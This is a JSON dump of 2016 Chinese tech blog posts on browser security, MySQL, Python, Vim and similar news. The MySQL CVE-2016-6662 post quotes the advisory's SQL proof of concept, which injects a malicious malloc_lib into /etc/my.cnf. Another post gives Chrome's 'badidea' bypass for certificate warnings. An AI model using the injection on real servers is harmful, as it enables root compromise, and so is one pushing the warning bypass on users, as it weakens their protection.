    "body": "<a href=\"https://www.google.com/chrome/\">Google Chrome</a> 宣佈從 56 版開始，將會對 HTTP 網站標示「Not secure」：「<a href=\"https://security.googleblog.com/2016/09/moving-towards-more-secure-web.html\">Moving towards a more secure web</a>」，這是 <a href=\"https://www.google.com/\">Google</a> 給的解釋圖片：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/5SsCwu1.webp\" /><img src=\"https://i.gslin.com/imgur/5SsCwu1.jpg\" alt=\"\" /></picture>\r\n\r\n另外還更進一步規劃之後的圖示，標成紅色警示：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/g486BPo.webp\" /><img src=\"https://i.gslin.com/imgur/g486BPo.jpg\" alt=\"\" /></picture>\r\n\r\n藉由這樣的表現來更大力推動 HTTPS 化。",
    "title": "Google Chrome 56 將會對 HTTP 網站標示「Not secure」"
  },
  {
    "id": "6827",
    "body": "早上花了點時間，把 blog 從 <a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 搬到 <a href=\"https://www.vultr.com/\">Vultr</a> 上了...\r\n\r\n本來是打算要換到 <a href=\"https://www.linode.com/\">Linode</a> 上，但 Linode 最小台的機器太大台了 (2GB RAM)，還是找了其他方案來用，看了看就挑 Vultr 了，用 768MB RAM 的方案，跟之前 DigitalOcean 相比多了一些 RAM 可以用...\r\n\r\n順便趁機把系統換成 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 16.04 跟 <a href=\"https://dev.mysql.com/\">MySQL</a> 5.7，現在用了六個小時，感覺還不錯...？",
    "title": "Blog 換 Hosting..."
  },
  {
    "id": "6830",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 好像偶而就會整理一篇類似的文章出來...\r\n\r\n這次是對 <a href=\"https://dev.mysql.com/\">MySQL</a> 上線後，關於 Index 的設計研究：「<a href=\"https://www.percona.com/blog/2016/09/09/basic-housekeeping-for-mysql-indexes/\">Basic Housekeeping for MySQL Indexes</a>」。\r\n\r\n包括了這幾個主題：\r\n\r\n<ul>\r\n\t<li>Unused indexes</li>\r\n\t<li>Duplicated indexes</li>\r\n\t<li>Potentially missing indexes</li>\r\n\t<li>Multiple column indexes order</li>\r\n</ul>\r\n\r\n這幾點都還蠻基本的，不過這些都做完了之後效能應該不會太差，算是上線後的觀測基本功...",
    "title": "Percona 對 MySQL Index 效用的基本教學"
  },
  {
    "id": "6832",
    "body": "包含 <a href=\"https://dev.mysql.com/\">MySQL</a> 本家與所有從 MySQL 改出去的分支都中了，引用 <a href=\"https://www.percona.com/\">Percona</a> 的通報：「<a href=\"https://www.percona.com/blog/2016/09/12/percona-server-critical-update-cve-2016-6662/\">Percona Server Critical Update CVE-2016-6662</a>」。\r\n\r\n<blockquote>This is a <strong>CRITICAL</strong> update, and the fix mitigates the potential for <strong>remote root code execution</strong>.</blockquote>\r\n\r\n原始的 security advisory 在「<a href=\"http://seclists.org/oss-sec/2016/q3/481\">CVE-2016-6662 - MySQL Remote Root Code Execution / Privilege Escalation ( 0day )</a>」這邊，雖然是標 0day，但發現的人在七月時就有先通報給 vendor 們讓他們有時間修正：\r\n\r\n<blockquote>The vulnerability was reported to Oracle on 29th of July 2016 and triaged by the security team. It was also reported to the other affected vendors including PerconaDB and MariaDB.</blockquote>\r\n\r\n<a href=\"https://www.oracle.com/\">Oracle</a> 還沒修正，也就是 upstream 目前仍然是有問題的，目前得靠其他 vendor 修正：\r\n\r\n<blockquote>Official patches for the vulnerability are not available at this time for Oracle MySQL server.</blockquote>\r\n\r\n其中 Percona 與 <a href=\"https://mariadb.org/\">MariaDB</a> 都已經先推出修正版本了：\r\n\r\n<blockquote>The vulnerabilities were patched by PerconaDB and MariaDB vendors by the end of 30th of August.</blockquote>\r\n\r\n然後看了一下這個漏洞，從 SQL 指令可以做檔案操作一路打出來... 可以看到範例：\r\n\r\n<pre>mysql&gt; set global general_log_file = '/etc/my.cnf';\r\nmysql&gt; set global general_log = on;\r\nmysql&gt; select '\r\n    '&gt; \r\n    '&gt; ; injected config entry\r\n    '&gt; \r\n    '&gt; [mysqld]\r\n    '&gt; malloc_lib=/tmp/mysql_exploit_lib.so\r\n    '&gt; \r\n    '&gt; [separator]\r\n    '&gt; \r\n    '&gt; ';\r\n1 row in set (0.00 sec)\r\nmysql&gt; set global general_log = off;</pre>\r\n\r\n這下苦了...",
    "title": "MySQL 全系列的安全性漏洞"
  },
  {
    "id": "6833",
    "body": "<a href=\"http://www.vim.org/\">Vim</a> 版號進到 8.0 了：「<a href=\"https://groups.google.com/forum/#!topic/vim_dev/CmiGxtJ7fn4\">Vim 8.0 released!</a>」，從 <a href=\"https://github.com/\">GitHub</a> 上的記錄可以看到「<a href=\"https://github.com/vim/vim/commit/1423b9d3b8eec56227414417621350ac27af6fd7\">updated for version 7.0</a>」是 2006 年五月的事情了。\r\n\r\n新的 feature 包括了 packages...？所以 Vim 自己也要搞一套 package 系統了嗎... 還沒仔細看，不知道跟 <a href=\"https://github.com/VundleVim/Vundle.vim\">Vundle</a> 的關係不知道會變成什麼樣子 @_@\r\n\r\n<pre>Among the new features are:\r\n- Asynchronous I/O support, channels, JSON\r\n- Jobs\r\n- Timers\r\n- Partials, Lambdas and Closures\r\n- Packages\r\n- New style testing\r\n- Viminfo merged by timestamp\r\n- GTK+ 3 support\r\n- MS-Windows DirectX support</pre>",
    "title": "Vim 8.0..."
  },
  {
    "id": "6834",
    "body": "<a href=\"https://www.google.com/\">Google</a> 也參與的海纜 <a href=\"https://en.wikipedia.org/wiki/FASTER_(cable_system)\">FASTER</a> 陸陸續續放出消息了，這次是放出台灣日本之間的新聞：「<a href=\"https://asia.googleblog.com/2016/09/making-google-little-bit-faster-across.html\">Making Google a little bit FASTER across Asia</a>」。\r\n\r\n2014 年時對外宣佈：「<a href=\"https://www.rt.com/news/179852-google-trans-pacific-cable/\">Google, Asian companies to build $300 mn super-high-speed Trans-Pacific underwater cable system</a>」，不過當時提到是 60Tbps，維基百科上的資料也是如此：\r\n\r\n<blockquote>FASTER will have the design capacity of 60 Tbps (100Gb/s x 100 wavelengths x 6 fiber-pairs), which is about 10 million times faster than your cable modem, the companies said.</blockquote>\r\n\r\n在六月底 Google 發的另外一篇「<a href=\"https://cloudplatform.googleblog.com/2016/06/Google-Cloud-customers-run-at-the-speed-of-light-with-new-FASTER-undersea-pipe.html\">Google Cloud customers run at the speed of light with new FASTER undersea pipe</a>」這邊，提到 Google 會拿 10Tbps 出來串起日本與美國：\r\n\r\n<blockquote>Today, Google’s latest investment in long-haul undersea fibre optic cabling comes online: the FASTER Cable System gives Google access to up to 10Tbps (Terabits per second) of the cable’s total 60Tbps bandwidth between the US and Japan. We'll use this capacity to support our users, including Google Apps and Cloud Platform customers.</blockquote>\r\n\r\n而現在這邊提到了台灣與日本之間的 26Tbps：\r\n\r\n<blockquote>So, to extend the benefits of this Trans-Pacific link to the rest of Asia, we invested in a cable that links FASTER in Japan on to Taiwan, where our largest data center in Asia provides millions of people across Asia with quick access to our tools and services, at speeds of up to 26 terabits per second.</blockquote>\r\n\r\n實際狀況還是不太能理解...\r\n\r\n另外可以看到參與的公司，因為沒有台灣的 ISP，所以如果要期望台灣的連外速度變快的話，應該只有期望台灣的 ISP 找這些廠商買頻寬了：\r\n\r\n<ul>\r\n\t<li>Google</li>\r\n\t<li>KDDI</li>\r\n\t<li>SingTel</li>\r\n\t<li>China Telecom Global</li>\r\n\t<li>China Mobile International</li>\r\n\t<li>Global Transit Communications</li>\r\n</ul>",
    "title": "FASTER 海纜的消息"
  },
  {
    "id": "6835",
    "body": "<a href=\"https://aws.amazon.com/rds/aurora/\">Amazon Aurora</a> 支援 Reader Endpoint，讓讀的部份可以打散掉：「<a href=\"https://aws.amazon.com/blogs/aws/new-reader-endpoint-for-amazon-aurora-load-balancing-higher-availability/\">New Reader Endpoint for Amazon Aurora – Load Balancing &amp; Higher Availability</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/PSxwqkw.webp\" /><img src=\"https://i.gslin.com/imgur/PSxwqkw.jpg\" alt=\"\" /></picture>\r\n\r\n讀的部份比較容易 scale (常見的方式是透過 replication 做到)，而現在很多 database framework (包括各類的 <a href=\"https://en.wikipedia.org/wiki/Object-relational_mapping\">ORM</a> framework) 都支援讀寫分離，這個支援對於系統的 scale 來說幫忙頗大。\r\n\r\n不過不知道會不會有 replication lag 的問題，我猜是會有...",
    "title": "Amazon Aurora 支援 Reader Endpoint"
  },
  {
    "id": "6836",
    "body": "在「<a href=\"http://www.reuters.com/article/us-mastercard-lawsuit-britain-idUSKCN11E2S9\">Mastercard sued for $19 billion in Britain's biggest damages claim</a>」這邊看到的幾個重點，第一個是歐盟對國際手續費 1% 的限制：(雖然 <a href=\"https://en.wikipedia.org/wiki/Brexit\">Brexit</a>...)\r\n\r\n<blockquote>A lawyer working on the case said Mastercard charged shops fees in excess of 1 percent for card use on international transactions between 1992 and 2008.Although the EU's anti-trust regulator only ruled Mastercard's international fees were illegal, this impacted British consumers as it was the default fee used in Britain.</blockquote>\r\n\r\n另外一個是兩年前的新規定：\r\n\r\n<blockquote>Two years ago, the European Union capped the fees retailers pay at 0.2 percent for debit cards and 0.3 percent for credit cards.</blockquote>\r\n\r\n唔... (回頭看台灣的帳單)",
    "title": "MasterCard 在英國被告收取過高的手續費"
  },
  {
    "id": "6837",
    "body": "這篇是兩年前在 <a href=\"https://stackoverflow.com/\">StackOverflow</a> 上的問題：「<a href=\"https://stackoverflow.com/questions/21947452/why-is-printing-b-dramatically-slower-than-printing\">Why is printing “B” dramatically slower than printing “#”?</a>」。\r\n\r\n問問題的人這段程式跑了 8.52 秒：\r\n\r\n<pre>Random r = new Random();\r\nfor (int i = 0; i &lt; 1000; i++) {\r\n    for (int j = 0; j &lt; 1000; j++) {\r\n        if(r.nextInt(4) == 0) {\r\n            System.out.print(\"O\");\r\n        } else {\r\n            System.out.print(\"#\");\r\n        }\r\n    }\r\n\r\n   System.out.println(\"\");\r\n }</pre>\r\n\r\n而把上面的 <code>#</code> 換成 <code>B</code> 就變成 259.152 秒。\r\n\r\n答案是與 word-wrapping 有關：\r\n\r\n<blockquote>Pure speculation is that you're using a terminal that attempts to do word-wrapping rather than character-wrapping, and treats B as a word character but # as a non-word character. So when it reaches the end of a line and searches for a place to break the line, it sees a # almost immediately and happily breaks there; whereas with the B, it has to keep searching for longer, and may have more text to wrap (which may be expensive on some terminals, e.g., outputting backspaces, then outputting spaces to overwrite the letters being wrapped).\r\n\r\nBut that's pure speculation.</blockquote>\r\n\r\n這真是細節 XDDD",
    "title": "印 \"#\" 比印 \"B\" 來的快的問題"
  },
  {
    "id": "6838",
    "body": "<a href=\"https://www.python.org/\">Python</a> 3 的 <a href=\"https://docs.python.org/3/tutorial/datastructures.html#dictionaries\">Dict</a> 將會有重大的改變：「<a href=\"https://mail.python.org/pipermail/python-dev/2016-September/146327.html\">[Python-Dev] Python 3.6 dict becomes compact and gets a private version; and keywords become ordered</a>」。\r\n\r\n在 3.5 時：\r\n\r\n<pre>Python 3.5.1 (default, Jun 20 2016, 14:48:22)\r\n&gt;&gt;&gt; def func(**kw): print(kw.keys())\r\n...\r\n&gt;&gt;&gt; func(a=1, b=2, c=3, d=4, e=5)\r\ndict_keys(['c', 'd', 'e', 'b', 'a'])   # random order</pre>\r\n\r\n對上目前還在開發的 3.6：\r\n\r\n<pre>Python 3.6.0a4+ (default:d43f819caea7, Sep  8 2016, 13:05:34)\r\n&gt;&gt;&gt; def func(**kw): print(kw.keys())\r\n...\r\n&gt;&gt;&gt; func(a=1, b=2, c=3, d=4, e=5)\r\ndict_keys(['a', 'b', 'c', 'd', 'e'])   # expected order</pre>\r\n\r\n在「<a href=\"https://bugs.python.org/issue27350\">Compact and ordered dict</a>」這邊可以看到記憶體的使用量降低：\r\n\r\n<pre>It seems like the memory usage is between 20% and 25% smaller. Great job!\r\n\r\nMemory usage, Python 3.5 =&gt; Python 3.6 on Linux x86_64:\r\n\r\n./python -c 'import sys; print(sys.getsizeof({str(i):i for i in range(10)}))'\r\n\r\n* 10 items: 480 B =&gt; 384 B (-20%)\r\n* 100 items: 6240 B =&gt; 4720 B (-24%)\r\n* 1000 items: 49248 B =&gt; 36984 B (-25%)\r\n\r\nNote: the size is the the size of the container itself, not of keys nor values.</pre>\r\n\r\n不過效能上似乎慢了一些：\r\n\r\n<pre>3% slowdown in microbench is not surprising.\r\nCompact dict introduces one additional indirection.\r\n\r\nInstead, I've added freelist for most compact PyDictKeys.\r\nSo I think overall performance is almost same to before compact dict.</pre>\r\n\r\n不過也有人提到應該拿 3.5 + patch 測，而不是直接拿 3.6 測：\r\n\r\n<pre>There are a lot of other changes in interpreter core between 3.5 and 3.5 (such as new bytecode and optimized function calls). Could you compare the performance between the version just before adding new dict implementation and the version just after this?</pre>\r\n\r\n看起來後續還在進行中...",
    "title": "Python 3.6 對 Dict 的改善"
  },
  {
    "id": "6839",
    "body": "哈哈，果然開始不擇手段了：「<a href=\"http://www.theverge.com/2016/9/13/12890050/adblock-plus-now-sells-ads\">Adblock Plus now sells ads</a>」，<a href=\"https://adblockplus.org/\">Adblock Plus</a> 官方的說明在「<a href=\"https://adblockplus.org/blog/new-acceptable-ads-platform-launches-bringing-feedback-to-rtb-and-help-to-small-websites\">New Acceptable Ads Platform launches, will redefine RTB and help small websites</a>」這邊。\r\n\r\n繼續用「<a href=\"https://github.com/gorhill/uBlock\">uBlock Origin</a>」，沒有虛偽的「Acceptable Ads」，只有速度更快，效果更好...\r\n\r\n<ul>\r\n\t<li><a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 版在「<a href=\"https://addons.mozilla.org/zh-TW/firefox/addon/ublock-origin/\">uBlock Origin</a>」這邊可以安裝。</li>\r\n\t<li><a href=\"https://www.google.com/chrome/\">Chrome</a> 版則是在「<a href=\"https://chrome.google.com/webstore/detail/ublock-origin/cjpalhdlnbpafiamejdnhcphjbkeiagm\">uBlock Origin</a>」這邊可以安裝。</li>\r\n</ul>",
    "title": "Adblock Plus 的公司開始賣網路廣告了..."
  },
  {
    "id": "6840",
    "body": "<a href=\"https://www.media.mit.edu/\">MIT Media Lab</a> 弄出個好玩的東西，可以不打開書直接掃描書的內容：「<a href=\"http://cameraculture.media.mit.edu/can-computers-read-through-closed-books/\">Can computers read through a book page by page without opening it?</a>」，主標題是「Terahertz time-gated spectral imaging for content extraction through layered structures」。\r\n\r\n用 100Ghz 到 3Thz 的電磁波掃描：\r\n\r\n<blockquote>In our new study we explore a range of frequencies from 100 Gigahertz to 3 Terahertz (THz) which can penetrate through paper and many other materials.</blockquote>\r\n\r\n先前也有類似的方法，用 X-ray 或是超音波，但效果都不好：\r\n\r\n<blockquote><strong>Can’t X-ray or ultrasound do this?</strong> It may seem that X-ray or ultrasound can also image through a book; however, such techniques lack the contrast of our THz approach for submicron pen or pencil layers compared next to blank paper. These methods have additional drawbacks like cost and ionizing radiation. So while you might be able to hardly detect pages of a closed book if you use a CT scan, you will not be able to see the text. Ultrasound does not have the resolution to detect 20 micron gaps in between the pages of a closed book -distinguishing the ink layers from the blank paper is out of the question for ultrasound. Based on the paper absorption spectrum, we believe that far infrared time resolved systems and THz time domain systems might be the only suitable candidates for investigating paper stacks page by page.</blockquote>\r\n\r\n不知道可以進展做到什麼程度，目前只是「能看懂」的程度，品質看起來還是不太夠：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Ga7gJr4.webp\" /><img src=\"https://i.gslin.com/imgur/Ga7gJr4.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/hJ2BeK8.webp\" /><img src=\"https://i.gslin.com/imgur/hJ2BeK8.jpg\" alt=\"\" /></picture>",
    "title": "不打開書直接掃描內容"
  },
  {
    "id": "6841",
    "body": "<strong>Update</strong> (2018/03/15)：字串改了，請參考「<a href=\"https://blog.gslin.org/archives/2018/03/15/8199/%E6%9C%AC%E4%BE%86-google-chrome-%E8%A6%81%E7%B9%9E%E9%81%8E-hsts-%E7%9A%84-badidea-%E8%A2%AB%E6%8F%9B%E6%8E%89%E4%BA%86/\">本來 Google Chrome 要繞過 HSTS 的 badidea 被換掉了...</a>」。\r\n\r\n像是把 <a href=\"https://www.startssl.com/\">StartCom</a> 停用掉後造成 <a href=\"https://www.kernel.org/\">www.kernel.org</a> 無法連線的問題：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WDMkRE5.webp\" /><img src=\"https://i.gslin.com/imgur/WDMkRE5.jpg\" alt=\"\" /></picture>\r\n\r\n前幾天在 <a href=\"https://twitter.com/\">Twitter</a> 上看到解法：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"zh\" dir=\"ltr\">Chrome的神秘功能……遇到因为安全原因禁止进入的网站，在那个提示页面输入“badidea”（不含引号）就能进入了……</p>&mdash; Xidorn Quan (@upsuper) <a href=\"https://twitter.com/upsuper/status/774786654817099777\">September 11, 2016</a></blockquote>\r\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n說道 StartCom，StartCom 與 <a href=\"https://www.wosign.com/\">WoSign</a> 的故事才剛要開始，前陣子在「<a href=\"https://blog.gslin.org/archives/2016/08/27/6781/mozilla-%E5%9C%A8%E8%80%83%E6%85%AE%E7%A7%BB%E9%99%A4-wosign-%E7%9A%84-ca-root/\">Mozilla 在考慮移除 WoSign 的 CA Root</a>」這邊提到的問題，最近 mailing list 上越來愈刺激了。(發現更多沒有通報的問題)\r\n\r\n另外也發現 StartCom 被 WoSign (的 CEO) 買下來了，當初因為「<a href=\"https://pierrekim.github.io/blog/2016-02-16-why-i-stopped-using-startssl-because-of-qihoo-360.html\">Why I stopped using StartSSL (Hint: it involves a Chinese company)</a>」而移除信任，看起來情況只會更糟糕...",
    "title": "在 Google Chrome 連上因 HSTS 而無法連線的網站"
  },
  {
    "id": "6842",
    "body": "關於 <a href=\"https://en.wikipedia.org/wiki/HTTP_Public_Key_Pinning\">HPKP</a>，可以參考「<a href=\"https://imququ.com/post/http-public-key-pinning.html\">HTTP Public Key Pinning 介绍</a>」這篇介紹，寫得很清楚。\r\n\r\nHPKP 是解決 CA 架構錯發憑證的方案 (無論是無意或是故意)，像是最近吵的比較熱的 <a href=\"https://www.wosign.com/\">WoSign</a> 發出 <a href=\"https://github.com/\">GitHub</a> 的憑證的問題就可以用 HPKP 解。\r\n\r\n原理上來說，就是在 HTTP header 裡面指出這個站台所允許的 Root CA 有哪些。所以跟 <a href=\"https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security\">HSTS</a> 一樣是走 Trust On First Use 架構，當 client 第一次連上的時候會記下資訊，之後就可以使用這個資訊來驗證。\r\n\r\n但 HPKP 與 HSTS 不同的地方在於，HSTS 只是個 Yes/No 問題 (i.e. 是否強迫使用 HTTPS)，而且通常 migrate 上去後就不會拔掉。\r\n\r\n但 HPKP 則是要指定 Root CA，這代表不能隨便換一家簽。當你用的那家 Root CA 出包時就苦了... (就像 WoSign 免費憑證的問題)\r\n\r\n這使得 HPKP 的實作成本過高，而且得到效益太低，另外也因為替代的方案有不少 (像是 <a href=\"https://www.certificate-transparency.org/\">Certificate Transparency</a>)，導致 HPKP 根本沒什麼人用：「<a href=\"https://blog.qualys.com/ssllabs/2016/09/06/is-http-public-key-pinning-dead\">Is HTTP Public Key Pinning Dead?</a>」。\r\n\r\n在 comment 有人直接拉出來統計，使用的比率反而在下降：\r\n\r\n<blockquote>From my stats looking to the Alexa 1K top websites from 2015-07-26 to 2016-07-31 the number of websites NOT using HPKP increase from 99.47% to 99.58% which means almost nothing.</blockquote>\r\n\r\n不過我覺得算是平行發展吧，這些驗證的技術都不怎麼衝突... HPKP 解決問題的方法非常的技術面，而 Certificate Transparency 還是走稽核路線讓 Root CA 回報每一個發出的 Certificate...",
    "title": "HPKP 遇到的阻礙"
  },
  {
    "id": "6843",
    "body": "在某些新聞報導透漏出了受害者的某些背景身份，於是你手上有了這兩個資料：\r\n\r\n<ul>\r\n\t<li>符合這些背景身份的四十個人的照片。</li>\r\n\t<li>人臉被馬賽克後的新聞照片。</li>\r\n</ul>\r\n\r\n現在的問題是，要怎麼判斷出新聞照片裡是哪個人：「<a href=\"https://arxiv.org/abs/1609.00408\">Defeating Image Obfuscation with Deep Learning</a>」。\r\n\r\n類似這樣的實驗，從 40 個人中找出正確的人，有 50% 的正確率：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/y1V5G1s.webp\" /><img src=\"https://i.gslin.com/imgur/y1V5G1s.jpg\" alt=\"\" /></picture>\r\n\r\n也許 50% 不算到能用的程度，但這代表老大哥的技術已經在發展了...",
    "title": "透過 Deep Learning 辨識人臉馬賽克的技術"
  },
  {
    "id": "6844",
    "body": "在 <a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到 <a href=\"https://mail.yandex.com/\">Yandex.Mail</a> 從 <a href=\"https://www.oracle.com/\">Oracle</a> 搬到 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 的故事：「<a href=\"https://www.pgcon.org/2016/schedule/attachments/426_2016.05.19%20Yandex.Mail%20success%20story.pdf\">Yandex.Mail success story</a>」。\r\n\r\n首先是在 Oracle-based 的系統上遇到的問題：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/cqDDWEw.webp\" /><img src=\"https://i.gslin.com/imgur/cqDDWEw.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/wEWBDMS.webp\" /><img src=\"https://i.gslin.com/imgur/wEWBDMS.jpg\" alt=\"\" /></picture>\r\n\r\n除了技術類的問題外，這個「Not very responsive support」可以看到對 Oracle 的服務很不滿意。\r\n\r\n另外下一張投影片只講 shop.oracle.com 是主要原因... 我猜是 Oracle 在開始提供 cloud service 後把售價都拉高。在最後的 Summary 看起來也有點像：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LxPMBnN.webp\" /><img src=\"https://i.gslin.com/imgur/LxPMBnN.jpg\" alt=\"\" /></picture>\r\n\r\n雖然沒有講明換 PostgreSQL 的理由，但注意到「3x more hardware」這點，這表示是原來的四倍。在這樣的情況下還是要換，可以猜測 Oracle 的授權費用在 web-scale 服務上的問題。\r\n\r\n另外如果仔細品投影片，可以發現其實 migration 成功的原因是 DBA team 的能力夠強大，以及充足的時間修正問題 (可以看到作者在 mailing list 上一直提問也一直修正問題)。如果當初評估後決定要換到 <a href=\"https://dev.mysql.com/\">MySQL</a>，我相信也是會順利完成...",
    "title": "Yandex.Mail 從 Oracle 搬移到 PostgreSQL 上的故事"
  },
  {
    "id": "6845",
    "body": "在「<a href=\"http://ithare.com/infographics-operation-costs-in-cpu-clock-cycles/\">Infographics: Operation Costs in CPU Clock Cycles</a>」這邊看到張有趣的圖片：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/xOeblTa.webp\" /><img src=\"https://i.gslin.com/imgur/xOeblTa.jpg\" alt=\"\" /></picture>\r\n\r\n文章大致說明了底層指令速度差異的由來，另外也提到了 C/C++ Function Calls、Indirect and Virtual Calls、Allocations、Kernel Calls、C++ Exceptions 以及 Thread Context Switches 這些高階面向的 CPU clock cycle 差異...\r\n\r\n不過重點還是在這張圖 XD",
    "title": "CPU 指令的速度"
  },
  {
    "id": "6846",
    "body": "如標題所提到的，<a href=\"https://www.gchq.gov.uk/\">GCHQ</a> 打算以安全為由，實施大規模的 DNS filtering 機制：「<a href=\"https://thestack.com/security/2016/09/14/gchq-planning-uk-wide-dns-firewall/\">GCHQ planning UK-wide DNS ‘firewall’</a>」，GCHQ 的官方新聞稿在「<a href=\"https://www.cesg.gov.uk/news/new-approach-cyber-security-uk\">A new approach for cyber security in the UK</a>」這邊。\r\n\r\n很類似 <a href=\"https://zh.wikipedia.org/wiki/%E9%98%B2%E7%81%AB%E9%95%BF%E5%9F%8E\">GFW</a> 的作法，但在英國這種國家這樣做太明顯，所以政府需要使用 <a href=\"https://zh.wikipedia.org/wiki/FUD\">FUD</a> (Fear, Uncertainty, Doubt) 的方式恐嚇公民，藉由洗腦公民取得更多的權力。\r\n\r\n這次是對 DNS level 過濾，如果政策成功地壓過去實施，接下來就會有更多的機制來過濾對當政者不利的言論。",
    "title": "英國 GCHQ 打算在英國實施全國大規模的 DNS filtering 過濾機制"
  },
  {
    "id": "6847",
    "body": "<a href=\"https://dev.mysql.com/\">MySQL</a> 8.0 是 MySQL 5.7 的後續版本，中間的 6.0 與 7.0 都有一些故事，就被跳過去了，跟 <a href=\"https://php.net/\">PHP</a> 的情況有點像。\r\n\r\n在 8.0 版將會把 <code>performance_schamea</code> 加上 index，讓查詢的速度變快：「<a href=\"http://mysqlserverteam.com/mysql-8-0-performance-schema-now-with-indexes/\">MySQL 8.0: Performance Schema, now with indexes!</a>」：\r\n\r\n<blockquote>In MySQL 8.0, performance_schema tables are now indexed to speed up data retrieval.</blockquote>\r\n\r\n<blockquote>A total of 115 indexes have been added in the performance schema in MySQL 8.0.0, to support better data access patterns in general.</blockquote>\r\n\r\n有用過 <code>performance_schema</code> 的人都會有種「這好慢啊」的感覺，總算要改善了... 而且這幾乎是沒什麼成本的改善：\r\n\r\n<blockquote><strong>Question:</strong> How much overhead was just added by this new feature?\r\n<strong>Answer:</strong> Absolutely zero</blockquote>\r\n\r\n並不是用 index 加快速度，而是加了一些資訊，修正 optimizer 的行為：\r\n\r\n<blockquote>It does — not — maintain a physical index internally, be it on file or memory.\r\nIt does, however, — pretend — to the optimizer that it has indexes, so that the optimizer is coerced into using the most efficient access pattern.</blockquote>\r\n\r\n在有些情況下可以看到會快非常的多：\r\n\r\n<blockquote>The performance improvements from indexes can be very easily seen in many of the sys schema queries. With 1000 idle threads, the query <code>SELECT * FROM sys.session</code> drops from 34.70 seconds down to <strong>1.01 seconds</strong> (a 30x improvement!):</blockquote>\r\n\r\n不知道 <a href=\"https://www.percona.com/\">Percona</a> 會不會 backport 回來，這看起來對於爆炸中的 server 找問題會很有幫助，可以在短時間翻出是哪個部份爆炸...",
    "title": "MySQL 8.0 的 performance_schema 加上 index 了..."
  },
  {
    "id": "6848",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 整理了一份 <a href=\"https://dev.mysql.com/\">MySQL</a> 5.6 到 5.7 改變的預設值，對於評估與轉移的人都很有用：「<a href=\"https://www.percona.com/blog/2016/09/14/mysql-default-configuration-changes-between-5-6-and-5-7/\">MySQL Default Configuration Changes between 5.6 and 5.7</a>」。\r\n\r\n<code>sync_binlog</code> 居然從 0 改成 1 了，這對效能的影響應該不少。\r\n\r\n<code>performance_schema_*</code> 有不少改成自動調整了，可以省下不少功夫。\r\n\r\n<code>innodb_buffer_pool_dump_at_shutdown</code> 與 <code>innodb_buffer_pool_load_at_startup</code> 都打開了，這避免了正常重啟時的 warm up 問題，不過在存在有效的手段可以手動 warm up 的時，應該還是會關掉吧。(參考 2013 的文章「<a href=\"https://blog.gslin.org/archives/2013/11/20/3876/%E7%86%B1-mysql-innodb-%E7%9A%84%E6%96%B9%E5%BC%8F/\">熱 MySQL InnoDB 的方式...</a>」)\r\n\r\n另外介紹了 InnoDB 預設格式的改變，這點到是因為使用 <code>COMPRESSED</code>，反而不太受到影響。",
    "title": "MySQL 5.6 到 5.7 改變的預設值"
  },
  {
    "id": "6849",
    "body": "<a href=\"https://www.facebook.com/Mark.Callaghan\">Mark Callaghan</a> 這篇倒是沒提到什麼技術的東西，主要是講最近 <a href=\"https://dev.mysql.com/\">MySQL</a> 的兩大 conference，一個是 <a href=\"https://www.oracle.com/\">Oracle</a> 的 <a href=\"https://www.oracle.com/openworld/\">Oracle Open World</a>，另外一個是 <a href=\"https://www.percona.com/\">Percona</a> 的 <a href=\"https://www.percona.com/live/plam16/\">Percona Live Amsterdam 2016</a>，然後用了 benchmarketing 這個酸酸的詞 XDDD：「<a href=\"https://smalldatum.blogspot.com/2016/09/peak-benchmarketing-season-for-mysql.html\">Peak benchmarketing season for MySQL</a>」。\r\n\r\n裡面有些也很有趣的東西：\r\n\r\n<blockquote>My joke is that each of these makes a different group happy: performance -&gt; marketing, usability -&gt; developers, manageability -&gt; operations, availability -&gt; end users, efficiency -&gt; management.</blockquote>\r\n\r\n另外提到了 <a href=\"http://rocksdb.org/\">RocksDB</a> 建出來的 <a href=\"https://github.com/facebook/mysql-5.6/wiki/Getting-Started-with-MyRocks\">MyRocks</a> 在 memory fit 時可能會比 InnoDB 還要好：\r\n\r\n<blockquote>One last disclaimer. If you care about read-mostly/in-memory workloads then InnoDB is probably an excellent choice. MyRocks can still be faster than InnoDB for in-memory workloads. That is more likely when the bottleneck for InnoDB is page write-back performance. So write-heavy/in-memory can still be a winner for MyRocks.</blockquote>\r\n\r\n這就有趣了，找個時間來測試看看...",
    "title": "Mark Callaghan 講最近的 MySQL 的行銷活動..."
  },
  {
    "id": "6850",
